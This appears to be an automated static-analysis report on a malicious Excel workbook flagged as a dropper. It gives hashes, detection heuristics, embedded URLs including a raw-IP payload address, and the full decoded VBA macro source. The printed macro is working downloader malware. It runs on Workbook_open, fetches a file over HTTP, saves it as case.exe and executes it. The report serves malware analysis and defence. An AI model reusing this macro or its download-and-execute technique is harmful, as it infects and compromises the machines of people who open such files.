Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ed62579abcacf90…

MALICIOUS

Office (OLE)

145.3 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 7ff0079253cfdb63cad815e39a3d348c SHA-1: 87ca16672946840103edb853e1774acee8d1fce8 SHA-256: 3ed62579abcacf90f6ca7020834a02ce278cad384ef09cf39ec10c73f3abd891
250 Risk Score

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-7069964-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7069964-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Class1.Success1 = CreateObject(Class1.Label2.Tag)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Class5, "Show", VbMethod
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.67.229.36/p2 In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.
vba-macro oletools.olevba.extract_macros (decoded VBA source) 3135 bytes
SHA-256: 41baf3f7aba717cffa465faece096ddf8bf898409f77b5ed156dd319ef2e0822
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod



End Sub





Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub MethodENG()
Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
#If STDIN Then

Dim RRvel0_5
Dim RRvel0_6
Dim RRvel0_7
Dim RRvel0_9
Dim RRvel0_8
Dim RRvel0_11
Dim RRvel0_12


#End If


Set Class1.Success1 = CreateObject(Class1.Label2.Tag)

Dim fUP:  fUP = 0
CallByName Class1, "Mistake1", VbSet, CreateObject(Class1.TextBox1.Caption)
Dim fDOWN:  fDOWN = 0
End Sub




Attribute VB_Name = "Modu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub Attention()

CodeBlock.MethodENG


Dim RRvel0_4
Dim RRvel0_3
Class1.Label5_Click
Class1.Mistake1.Send

With Class1.Success1
    .Type = 1
End With
    Class1.Success1.Open
With Class1.Success1
    .write Class1.Mistake1.responseBody

End With
#If STDOUT Then
    CallByName Class1.Success1, "sav" & "etofile", VbMethod, "case.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class1.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Rubb"")"
End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{AD22E976-5DF7-4FDB-A69B-8BED853026B6}{F68DAF15-6339-40C4-A711-2CA8AAD63B26}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
 Public Success1 As Object
Public Mistake1 As Object
 Public Success2 As Object
Public Mistake2 As Object
 Public Success3 As Object
Public Mistake3 As Object



Public Sub Label5_Click()
Dim RRvel0_5
Mistake1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim RRvel0_6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{0707DED2-DC73-4C26-A540-580A851DB866}{C26F84DE-85FD-4BA1-B5FE-A7545C0F307E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub FUnt()
Dim rd1 As New Modu
rd1.Attention

End Sub

Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub